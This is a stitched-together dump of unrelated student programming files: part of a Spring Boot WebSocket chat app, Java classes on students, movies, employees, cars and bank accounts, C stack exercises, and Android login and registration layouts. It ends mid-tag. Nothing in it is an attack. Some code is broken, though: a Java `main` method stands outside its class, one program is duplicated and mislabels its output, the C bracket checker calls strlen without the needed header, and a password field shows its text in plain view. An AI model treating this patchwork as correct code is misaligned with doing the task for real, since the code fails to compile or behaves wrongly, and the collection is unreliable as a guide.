    } else if (message.type === 'LEAVE') {
        messageElement.classList.add('event-message');
        message.content = message.sender + ' left!';
    } else {
        messageElement.classList.add('chat-message');

        var avatarElement = document.createElement('i');
        var avatarText = document.createTextNode(message.sender[0]);
        avatarElement.appendChild(avatarText);
        avatarElement.style['background-color'] = getAvatarColor(message.sender);

        messageElement.appendChild(avatarElement);

        var usernameElement = document.createElement('span');
        var usernameText = document.createTextNode(message.sender);
        usernameElement.appendChild(usernameText);
        messageElement.appendChild(usernameElement);
    }

    var textElement = document.createElement('p');
    var messageText = document.createTextNode(message.content);
    textElement.appendChild(messageText);

    messageElement.appendChild(textElement);

    messageArea.appendChild(messageElement);
    messageArea.scrollTop = messageArea.scrollHeight;
}


function getAvatarColor(messageSender) {
    var hash = 0;
    for (var i = 0; i < messageSender.length; i++) {
        hash = 31 * hash + messageSender.charCodeAt(i);
    }

    var index = Math.abs(hash % colors.length);
    return colors[index];
}

usernameForm.addEventListener('submit', connect, true)
messageForm.addEventListener('submit', sendMessage, true)
static/css/main.css

* {
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
}

html,body {
    height: 100%;
    overflow: hidden;
}

body {
    margin: 0;
    padding: 0;
    font-weight: 400;
    font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
    font-size: 1rem;
    line-height: 1.58;
    color: #333;
    background-color: #f4f4f4;
    height: 100%;
}

body:before {
    height: 50%;
    width: 100%;
    position: absolute;
    top: 0;
    left: 0;
    background: #128ff2;
    content: "";
    z-index: 0;
}

.clearfix:after {
    display: block;
    content: "";
    clear: both;
}

.hidden {
    display: none;
}

.form-control {
    width: 100%;
    min-height: 38px;
    font-size: 15px;
    border: 1px solid #c8c8c8;
}

.form-group {
    margin-bottom: 15px;
}

input {
    padding-left: 10px;
    outline: none;
}

h1, h2, h3, h4, h5, h6 {
    margin-top: 20px;
    margin-bottom: 20px;
}

h1 {
    font-size: 1.7em;
}

a {
    color: #128ff2;
}

button {
    box-shadow: none;
    border: 1px solid transparent;
    font-size: 14px;
    outline: none;
    line-height: 100%;
    white-space: nowrap;
    vertical-align: middle;
    padding: 0.6rem 1rem;
    border-radius: 2px;
    transition: all 0.2s ease-in-out;
    cursor: pointer;
    min-height: 38px;
}

button.default {
    background-color: #e8e8e8;
    color: #333;
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.12);
}

button.primary {
    background-color: #128ff2;
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.12);
    color: #fff;
}

button.accent {
    background-color: #ff4743;
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.12);
    color: #fff;
}

#username-page {
    text-align: center;
}

.username-page-container {
    background: #fff;
    box-shadow: 0 1px 11px rgba(0, 0, 0, 0.27);
    border-radius: 2px;
    width: 100%;
    max-width: 500px;
    display: inline-block;
    margin-top: 42px;
    vertical-align: middle;
    position: relative;
    padding: 35px 55px 35px;
    min-height: 250px;
    position: absolute;
    top: 50%;
    left: 0;
    right: 0;
    margin: 0 auto;
    margin-top: -160px;
}

.username-page-container .username-submit {
    margin-top: 10px;
}


#chat-page {
    position: relative;
    height: 100%;
}

.chat-container {
    max-width: 700px;
    margin-left: auto;
    margin-right: auto;
    background-color: #fff;
    box-shadow: 0 1px 11px rgba(0, 0, 0, 0.27);
    margin-top: 30px;
    height: calc(100% - 60px);
    max-height: 600px;
    position: relative;
}

#chat-page ul {
    list-style-type: none;
    background-color: #FFF;
    margin: 0;
    overflow: auto;
    overflow-y: scroll;
    padding: 0 20px 0px 20px;
    height: calc(100% - 150px);
}

#chat-page #messageForm {
    padding: 20px;
}

#chat-page ul li {
    line-height: 1.5rem;
    padding: 10px 20px;
    margin: 0;
    border-bottom: 1px solid #f4f4f4;
}

#chat-page ul li p {
    margin: 0;
}

#chat-page .event-message {
    width: 100%;
    text-align: center;
    clear: both;
}

#chat-page .event-message p {
    color: #777;
    font-size: 14px;
    word-wrap: break-word;
}

#chat-page .chat-message {
    padding-left: 68px;
    position: relative;
}

#chat-page .chat-message i {
    position: absolute;
    width: 42px;
    height: 42px;
    overflow: hidden;
    left: 10px;
    display: inline-block;
    vertical-align: middle;
    font-size: 18px;
    line-height: 42px;
    color: #fff;
    text-align: center;
    border-radius: 50%;
    font-style: normal;
    text-transform: uppercase;
}

#chat-page .chat-message span {
    color: #333;
    font-weight: 600;
}

#chat-page .chat-message p {
    color: #43464b;
}

#messageForm .input-group input {
    float: left;
    width: calc(100% - 85px);
}

#messageForm .input-group button {
    float: left;
    width: 80px;
    height: 38px;
    margin-left: 5px;
}

.chat-header {
    text-align: center;
    padding: 15px;
    border-bottom: 1px solid #ececec;
}

.chat-header h2 {
    margin: 0;
    font-weight: 500;
}

.connecting {
    padding-top: 5px;
    text-align: center;
    color: #777;
    position: absolute;
    top: 65px;
    width: 100%;
}


@media screen and (max-width: 730px) {

    .chat-container {
        margin-left: 10px;
        margin-right: 10px;
        margin-top: 10px;
    }
}

@media screen and (max-width: 480px) {
    .chat-container {
        height: calc(100% - 30px);
    }

    .username-page-container {
        width: auto;
        margin-left: 15px;
        margin-right: 15px;
        padding: 25px;
    }

    #chat-page ul {
        height: calc(100% - 120px);
    }

    #messageForm .input-group button {
        width: 65px;
    }

    #messageForm .input-group input {
        width: calc(100% - 70px);
    }

    .chat-header {
        padding: 10px;
    }

    .connecting {
        top: 60px;
    }

    .chat-header h2 {
        font-size: 1.1em;
    }
}



config/WebSocketConfig

package com.example.websocketdemo.config;

import org.springframework.context.annotation.Configuration;
import org.springframework.messaging.simp.config.MessageBrokerRegistry;
import org.springframework.web.socket.config.annotation.*;

@Configuration
@EnableWebSocketMessageBroker
public class WebSocketConfig implements WebSocketMessageBrokerConfigurer {

    @Override
    public void registerStompEndpoints(StompEndpointRegistry registry) {
        registry.addEndpoint("/ws").withSockJS();
    }


    @Override
    public void configureMessageBroker(MessageBrokerRegistry registry) {
        registry.setApplicationDestinationPrefixes("/app");
        registry.enableSimpleBroker("/topic");

    }
}


---------------------------------------------
  
controller/ChatController

package com.example.websocketdemo.controller;

import com.example.websocketdemo.model.ChatMessage;
import org.springframework.messaging.handler.annotation.MessageMapping;
import org.springframework.messaging.handler.annotation.Payload;
import org.springframework.messaging.handler.annotation.SendTo;
import org.springframework.messaging.simp.SimpMessageHeaderAccessor;
import org.springframework.stereotype.Controller;


@Controller
public class ChatController {

    @MessageMapping("/chat.sendMessage")
    @SendTo("/topic/public")
    public ChatMessage sendMessage(@Payload ChatMessage chatMessage) {
        return chatMessage;
    }

    @MessageMapping("/chat.addUser")
    @SendTo("/topic/public")
    public ChatMessage addUser(@Payload ChatMessage chatMessage,
                               SimpMessageHeaderAccessor headerAccessor) {
        // Add username in web socket session
        headerAccessor.getSessionAttributes().put("username", chatMessage.getSender());
        return chatMessage;
    }

}

----------------------------------------------------

controller/WebSocketEventListener

package com.example.websocketdemo.controller;

import com.example.websocketdemo.model.ChatMessage;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.event.EventListener;
import org.springframework.messaging.simp.SimpMessageSendingOperations;
import org.springframework.messaging.simp.stomp.StompHeaderAccessor;
import org.springframework.stereotype.Component;
import org.springframework.web.socket.messaging.SessionConnectedEvent;
import org.springframework.web.socket.messaging.SessionDisconnectEvent;

@Component
public class WebSocketEventListener {

    private static final Logger logger = LoggerFactory.getLogger(WebSocketEventListener.class);

    @Autowired
    private SimpMessageSendingOperations messagingTemplate;

    @EventListener
    public void handleWebSocketConnectListener(SessionConnectedEvent event) {
        logger.info("Received a new web socket connection");
    }

    @EventListener
    public void handleWebSocketDisconnectListener(SessionDisconnectEvent event) {
        StompHeaderAccessor headerAccessor = StompHeaderAccessor.wrap(event.getMessage());

        String username = (String) headerAccessor.getSessionAttributes().get("username");
        if(username != null) {
            logger.info("User Disconnected : " + username);

            ChatMessage chatMessage = new ChatMessage();
            chatMessage.setType(ChatMessage.MessageType.LEAVE);
            chatMessage.setSender(username);

            messagingTemplate.convertAndSend("/topic/public", chatMessage);
        }
    }
}

------------------------------------------

model/ChatMessage
package com.example.websocketdemo.model;

import lombok.Data;

@Data
public class ChatMessage {
    private MessageType type;
    private String content;
    private String sender;

    public enum MessageType {
        CHAT,
        JOIN,
        LEAVE
    }
}

-----------------------------------
WebsocketDemoApplication

package com.example.websocketdemo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class WebsocketDemoApplication {

	public static void main(String[] args) {
		SpringApplication.run(WebsocketDemoApplication.class, args);
	}
}
public class Student {
	
	private String name;
	private int age;
	private int id;
	private double gpa;
	int foo;
	
	Student(String name, int age, int id) {
		this.name = name;
		this.age = age;
		this.id = id;
		gpa = 0.0;
		foo = 0;
	}
//Get
	public String getName() {
		return name;
	}
	
	public int getAge() {
		return age;
	}
	public int getId() {
		return id;
	}
	public double getGpa() {
		return gpa;
	}
//Set
	public void setName(String name) {
		this.name = name;
	}
	public void setAge (int age) {
		this.age = age;
	}
	public void setId(int id) {
		this.id = id;
	}
	public void setGpa(double gpa) {
		this.gpa = gpa;
	}
	
	public String toString() {
		return "Name: " + name + " Age: " + age + " Id: " + id + " Gpa: " + gpa;
	}

}

public static void main(String[] args) {
		
		Student s1 = new Student("Mohamed", 24, 210209327);
		
		s1.setGpa(98.67);
		
		System.out.println("Student Name: " + s1.getName());
		System.out.println("Student Age: " + s1.getAge());
		System.out.println("Student Id: " + s1.getId());
		System.out.println("Student Gpa: " + s1.getGpa());
		
		System.out.println(s1.toString());
		
		s1.foo = 5;
		System.out.println("Student foo: " + s1.foo);

	}

}
//OUTPUT:
Student Name: Mohamed
Student Age: 24
Student Id: 210209327
Student Gpa: 98.67
Name: Mohamed Age: 24 Id: 210209327 Gpa: 98.67
Student foo: 5
import java.util.Scanner;
class Student{
	int rollNumber;
	String name;
}
class StudentInfo{
	public static void main(String args[]){
		Scanner sc=new Scanner(System.in);
		Student s1=new Student();
		Student s2=new Student();
		Student s3=new Student();
		System.out.println("Enter roll of 1st Student:");
		s1.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 1st Student:");
		s1.name=sc.nextLine();
		System.out.println("Enter roll of 2nd Student:");
		s2.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 2nd Student:");
		s2.name=sc.nextLine();
		System.out.println("Enter roll of 3rd Student:");
		s3.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 3rd Student:");
		s3.name=sc.nextLine();
		System.out.println("Name of First Student= "+s1.name);
		System.out.println("roll of First Student= "+s1.rollNumber);
		System.out.println("Name of Second Student= "+s2.name);
		System.out.println("roll of Second Student= "+s2.rollNumber);
		System.out.println("Name of Third Student= "+s3.name);
		System.out.println("roll of Second Student= "+s3.rollNumber);
	}
}
import java.util.Scanner;
class Student{
	int rollNumber;
	String name;
}
class StudentInfo{
	public static void main(String args[]){
		Scanner sc=new Scanner(System.in);
		Student s1=new Student();
		Student s2=new Student();
		Student s3=new Student();
		System.out.println("Enter roll of 1st Student:");
		s1.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 1st Student:");
		s1.name=sc.nextLine();
		System.out.println("Enter roll of 2nd Student:");
		s2.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 2nd Student:");
		s2.name=sc.nextLine();
		System.out.println("Enter roll of 3rd Student:");
		s3.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 3rd Student:");
		s3.name=sc.nextLine();
		System.out.println("Name of First Student= "+s1.name);
		System.out.println("roll of First Student= "+s1.rollNumber);
		System.out.println("Name of Second Student= "+s2.name);
		System.out.println("roll of Second Student= "+s2.rollNumber);
		System.out.println("Name of Third Student= "+s3.name);
		System.out.println("roll of Second Student= "+s3.rollNumber);
	}
}
import java.util.Scanner;
public class AriOp{
	public static void main(String args[]){
		Scanner sc=new Scanner(System.in);
		int FirstNumber,SecondNumber,x;
		int sum,sub,multi,div,mod,temp;
		System.out.println("ARITHMETIC OPERATION");
		System.out.println("--------------------");
		System.out.println("1.ADDITION");
		System.out.println("2.SUBTRACTION");
		System.out.println("3.MULTIPLICATION");
		System.out.println("4.DIVISION");
		System.out.println("5.REMAINDER");
		System.out.println("---------------------");
		System.out.println("Enter a number:");
		FirstNumber=sc.nextInt();
		System.out.println("Enter a number:");
		SecondNumber=sc.nextInt();
		System.out.println("Enter your option:");
		x=sc.nextInt();
		if(x>5){
			System.out.println("Enter valid criteria mentioned Above");
		}else{
			if(x==1){
				sum=FirstNumber+SecondNumber;
				System.out.println("Sum= "+sum);
			}else if(x==2){
				if(FirstNumber<SecondNumber){
						temp=FirstNumber;
						FirstNumber=SecondNumber;
						SecondNumber=temp;
				}
				sub=FirstNumber-SecondNumber;
				System.out.println("sub= "+sub);
			}else if(x==3){
				multi=FirstNumber*SecondNumber;
				System.out.println("multi= "+multi);
			}else if(x==4){
				if(FirstNumber<SecondNumber){
						System.out.println("Not Possible");
				}else{
					div=FirstNumber/SecondNumber;
					System.out.println("Div= "+div);
				}
			}else{
				mod=FirstNumber%SecondNumber;
				System.out.println("modulus= "+mod);
			}
		}
	}
}
Answer 1:

import java.util.Scanner;

public class Movie {
	
	String title;
	int rating;
	
	public Movie(String newTitle, int newRating) {
		title = newTitle;
		if(newRating >=0 && newRating <= 10) {
			rating = newRating;
		}
	}
	public char getCategory() {
		if(rating ==9 || rating == 10)
			return 'A';
		else if(rating == 7 || rating ==8)
			return 'B';
		else if(rating == 5 || rating == 6)
			return 'C';
		else if(rating == 3 || rating ==4)
			return 'D';
		else 
			return 'F';
		
	}
	public void writeOutput() {
		System.out.println("Title: " + title);
		System.out.println("Rating: " + rating);
	}

	public static void main(String[] args) {
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter Title of Movie: ");
		String name = scanner.next();
		
		System.out.println("Enter Rating a Movie: ");
		int rating = scanner.nextInt();
		
		Movie m1 = new Movie(name, rating);
		
		//getCategory();
		m1.writeOutput();
		System.out.println("Catagory of the movie: " + m1.getCategory());
		
	}
}
//OUTPUT:

Enter Title of Movie: 
Black_List
Enter Rating a Movie: 
10
Title: Black_List
Rating: 10
Catagory of the movie: A

Answer 4:

import java.util.Scanner;

public class Employee {
	
	String name;
	double salary;
	double hours;
	
	Employee(){
		this("",0,0);
	}
	Employee(String name, double salary, double hours){
		this.name = name;
		this.salary = salary;
		this.hours = hours;
	}
	
	public void addBonus() {
		if(salary < 600) {
			salary += 15;
		}
	}
	public void addWork() {
		if(hours > 8) {
			salary += 10;
		}
	}
	public void printSalary() {
		System.out.println("Final Salary Of The Employee = " + salary + "$");
	}

	public static void main(String[] args) {
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter a Name of Employee:");
		String name = scanner.next();
		System.out.println("Enter a Salary of Employee: ");
		double sal = scanner.nextDouble();
		
		System.out.println("Enter a Number of Hours:");
		double hrs = scanner.nextDouble();
		
		Employee emp = new Employee(name,sal,hrs);
		
		emp.addBonus();
		emp.addWork();
		emp.printSalary();

	}
}
//OUTPUT:
Enter a Name of Employee:
mohamed
Enter a Salary of Employee: 
599
Enter a Number of Hours:
10
Final Salary Of The Employee = 624.0$


Q 1.
#include <stdio.h>
#include <stdlib.h>
#define MAX_SIZE 3

int stack [MAX_SIZE];
int top = -1;

void push(int value) 
{
    if(top==MAX_SIZE-1) {
        printf("Stack Overflow (Full): Cannot Push Element (%d) onto the stack.\n", value);
    }
    else {
        top++;
        stack[top] = value;
        printf("Element (%d) Pushed Onto The Stack.\n", value);
    }
}

void pop() 
{
    if(top == -1) {
        printf("Stack Underflow (Empty): Cannot Pop Element From The Stack.\n");
    }
    else {
        printf("\nElement (%d) Popped From The Stack.\n", stack[top]);
        top--;
    }
}

void display()
{
    if(top == -1) {
        printf("Stack is Empty.\n");
    }
    else {
        printf("Stack Elements are: ");
        for(int i=top; i>=0; i--) {
            printf("%d, ",stack[i]);
        }
        printf("\n");
    }
}

int main() {
    
    push(10);
    push(20);
    display();
    push(50);
    push(100);
    display();

    pop();
    display();
    pop();
    pop();
    display();

    return 0;
}

//OUTPUT:
Element (10) Pushed Onto The Stack.
Element (20) Pushed Onto The Stack.
Stack Elements are: 20, 10, 
Element (50) Pushed Onto The Stack.
Stack Overflow (Full): Cannot Push Element (100) onto the stack.
Stack Elements are: 50, 20, 10, 

Element (50) Popped From The Stack.
Stack Elements are: 20, 10, 

Element (20) Popped From The Stack.

Element (10) Popped From The Stack.
Stack is Empty.


Q3. 
#include <stdio.h>
#include <stdlib.h>
#define MAX_SIZE 100

char stack[MAX_SIZE];
int top = -1;
void push(char data) {
    if (top == MAX_SIZE - 1) {
        printf("Overflow stack!\n");
        return;
    }
    top++;
    stack[top] = data;
}

char pop() {
    if (top == -1) {
        printf("Empty stack!\n");
        return ' ';
    }
    char data = stack[top];
    top--;
    return data;
}

int is_matching_pair(char char1, char char2) {
    if (char1 == '(' && char2 == ')') {
        return 1;
    } else if (char1 == '[' && char2 == ']') {
        return 1;
    } else if (char1 == '{' && char2 == '}') {
        return 1;
    } else {
        return 0;
    }
}
int isBalanced(char* text) {
    int i;
    for (i = 0; i < strlen(text); i++) {
        if (text[i] == '(' || text[i] == '[' || text[i] == '{') {
            push(text[i]);
        } else if (text[i] == ')' || text[i] == ']' || text[i] == '}') {
            if (top == -1) {
                return 0;
            } else if (!is_matching_pair(pop(), text[i])) {
                return 0;
            }
        }
    }
    if (top == -1) {
        return 1;
    } else {
        return 0;
    }
}

int main() {
   char text[MAX_SIZE];
   printf("Input an expression in parentheses: ");
   scanf("%s", text);
   if (isBalanced(text)) {
       printf("The expression is balanced.\n");
   } else {
       printf("The expression is not balanced.\n");
   }
   return 0;
}
//OUTPUT:
Input an expression in parentheses: {[({[]})]}
The expression is balanced.
Input an expression in parentheses: [{[}]]
The expression is not balanced.
public class Car {
	
	String model;
	String color;
	int speed;
	
//Default Constructor
	
	public Car() {
		model = "Toyota";
		color = "black";
		speed = 40;
	}
	
	public Car(String newModel, String newColor, int newSpeed) {
		model= newModel;
		color = newColor;
		speed = newSpeed;
	} 
	
	public void increaseSpeed(int newSpeed) {
		speed = speed + newSpeed;
	}
	
	public void decreaseSpeed(int newSpeed) {
		speed = speed - newSpeed;
	}
	
//Test programming
	public static void main(String[] args) {
	
//Car 1
		Car c1 = new Car();
		System.out.println("Car 1:");
		System.out.println("\nModel: " + c1.model + "\nColor: " + c1.color + "\nspeed: " + c1.speed);
	
		c1.increaseSpeed(100);
		
		System.out.println("\nCar 1: İncrease speed by (100)");
		System.out.println("New speed: " + c1.speed);
		
		c1.decreaseSpeed(50);
		
		System.out.println("\nCar 1: Decrease speed by (50)");
		System.out.println("New speed: " + c1.speed);
	
//CAR 2
		Car c2 = new Car("Bugati", "Blue", 100);
		
		System.out.println("\n\nCar 2:");
		
		System.out.println("\nModel: " + c2.model + "\nColor: " + c2.color + "\nspeed: " + c2.speed);
	
	
		
        c2.increaseSpeed(90);
		
		System.out.println("\nCar 2: İncrease speed by (90)");
		System.out.println("New speed: " + c2.speed);
		
		c2.decreaseSpeed(40);
		
		System.out.println("\nCar 2: Decrease speed by (40)");
		System.out.println("New speed: " + c2.speed);
	
	
	}

}
//OUTPUT:
Car 1:

Model: Toyota
Color: black
speed: 40

Car 1: İncrease speed by (100)
New speed: 140

Car 1: Decrease speed by (50)
New speed: 90


Car 2:

Model: Bugati
Color: Blue
speed: 100

Car 2: İncrease speed by (90)
New speed: 190

Car 2: Decrease speed by (40)
New speed: 150



///.                     BANK ACCOUNT CALSSES AND ABOJECTS.


import java.util.Scanner;

public class BankAccount {
	
	String owner;
	double balance;
	int aType;
	
	public BankAccount() {
		owner = "Mohamed";
		balance = 1500;
		aType = 1;
		
	}
	public BankAccount(String newOwner, double newBalance, int newAType ) {
		owner = newOwner;
		balance = newBalance;
		aType = newAType;
	}
		
	public void addMoney(double newBalance) {
		balance = balance + newBalance;
	}
	
	public void takeMoney(double newBalance) {
		balance = balance - newBalance;
	}
	
	public static void main (String[] arg) {
	
		BankAccount c1 = new BankAccount();
		
		System.out.println("Costumer 1:");
		System.out.println("\nOwner: " +c1.owner + "\nBalance: " + c1.balance + "\naType: " + c1.aType);
		
		c1.addMoney(1500);
		System.out.println("\nAdd Blance by (1500)");
		System.out.println("\nNew Balance :" + c1.balance);
		
		c1.takeMoney(2500);
		System.out.println("\nRemove Blance by (2500)");
		System.out.println("\nNew Balance :" + c1.balance);
		
		Scanner scanner = new Scanner(System.in);
		
		System.out.println("\nEnter Costumer 2 information: ");
		System.out.println("Enter Name of Owner : ");
		String owner = scanner.next();
		
		System.out.println("Enter balance: ");
		double balance = scanner.nextDouble();
		
		System.out.println("Enter AType Account: ");
		int aType = scanner.nextInt();
		
		BankAccount c2 = new BankAccount(owner, balance, aType);
		
		System.out.println("\n\nCostumer 2:");
		System.out.println("\nOwner: " +c2.owner + "\nBalance: " + c2.balance + "\naType: " + c2.aType);
		
		c2.addMoney(3000);
		System.out.println("\nAdd Blance by (3000)");
		System.out.println("\nNew Balance :" + c2.balance);
		
		c2.takeMoney(5000);
		System.out.println("\nRemove Blance by (5000)");
		System.out.println("\nNew Balance :" + c2.balance);
		
		scanner.close();
	}
}
//OUTPUT: 
Costumer 1:

Owner: Mohamed
Balance: 1500.0
aType: 1

Add Blance by (1500)

New Balance :3000.0

Remove Blance by (2500)

New Balance :500.0

Enter Costumer 2 information: 
Enter Name of Owner : 
NAJMA
Enter balance: 
8000
Enter AType Account: 
2


Costumer 2:

Owner: NAJMA
Balance: 8000.0
aType: 2

Add Blance by (3000)

New Balance :11000.0

Remove Blance by (5000)

New Balance :6000.0

public class ThisExample {

	
	int a = 10;      //instance variable
	void display() 
	{
		int a = 200;      //Local variable
      
		System.out.println("Local Variable = " + a);
		System.out.println("İnstance variable = " + this.a);
	}
	
	public static void main(String[] args) {
		
		ThisExample obj = new ThisExample();
		obj.display();

	}

}
//Output: 
Local Variable = 200
İnstance variable = 10
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".RegisterActivity"
    android:background="@drawable/back2">

    <EditText
        android:id="@+id/editTextRegPassword"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_security_24"
        android:ems="10"
        android:hint="Password"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Password"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegemail" />

    <EditText
        android:id="@+id/editTextRegConfirmPassword"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_security_24"
        android:ems="10"
        android:hint="Password"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Confirm Password"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegPassword" />

    <TextView
        android:id="@+id/textView"
        android:layout_width="227dp"
        android:layout_height="58dp"
        android:selectAllOnFocus="true"
        android:shadowColor="#000000"
        android:text="HealthCare"
        android:textAlignment="center"
        android:textAppearance="@style/TextAppearance.AppCompat.Body1"
        android:textColor="#FFFFFF"
        android:textColorHint="#000000"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.44"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.041" />

    <TextView
        android:id="@+id/textView2"
        android:layout_width="204dp"
        android:layout_height="43dp"
        android:text="Registration"
        android:textColor="#FFFDFD"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView"
        app:layout_constraintVertical_bias="0.09" />

    <EditText
        android:id="@+id/editTextRegUsername"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="48dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_person_24"
        android:ems="10"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Username"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView2" />

    <EditText
        android:id="@+id/editTextRegemail"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_email_24"
        android:ems="10"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Email"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegUsername" />

    <Button
        android:id="@+id/buttonregister"
        android:layout_width="326dp"
        android:layout_height="48dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/btn_bg"
        android:text="REGISTER"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.494"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegConfirmPassword" />

    <TextView
        android:id="@+id/textViewExisting"
        android:layout_width="127dp"
        android:layout_height="28dp"
        android:paddingTop="5dp"
        android:text="Already exist user"
        android:textAlignment="center"
        android:textAllCaps="false"
        android:textColor="#F4F4F4"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/buttonregister"
        app:layout_constraintVertical_bias="0.559" />
</androidx.constraintlayout.widget.ConstraintLayout>
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".LoginActivity"
    android:background="@drawable/back1">

    <EditText
        android:id="@+id/editTextLoginPassword"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_security_24"
        android:ems="10"
        android:hint="Password"
        android:inputType="textPassword"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Password"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextLoginUsername" />

    <TextView
        android:id="@+id/textView"
        android:layout_width="227dp"
        android:layout_height="58dp"
        android:selectAllOnFocus="true"
        android:shadowColor="#000000"
        android:text="HealthCare"
        android:textAlignment="center"
        android:textAppearance="@style/TextAppearance.AppCompat.Body1"
        android:textColor="#FFFFFF"
        android:textColorHint="#000000"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.075"
        />

    <TextView
        android:id="@+id/textView2"
        android:layout_width="86dp"
        android:layout_height="41dp"
        android:text="Login"
        android:textColor="#FFFDFD"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView"
        app:layout_constraintVertical_bias="0.11"
        />

    <EditText
        android:id="@+id/editTextLoginUsername"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="88dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_person_24"
        android:ems="10"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Username"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView2" />

    <Button
        android:id="@+id/buttonLogin"
        android:layout_width="326dp"
        android:layout_height="48dp"
        android:layout_marginTop="56dp"
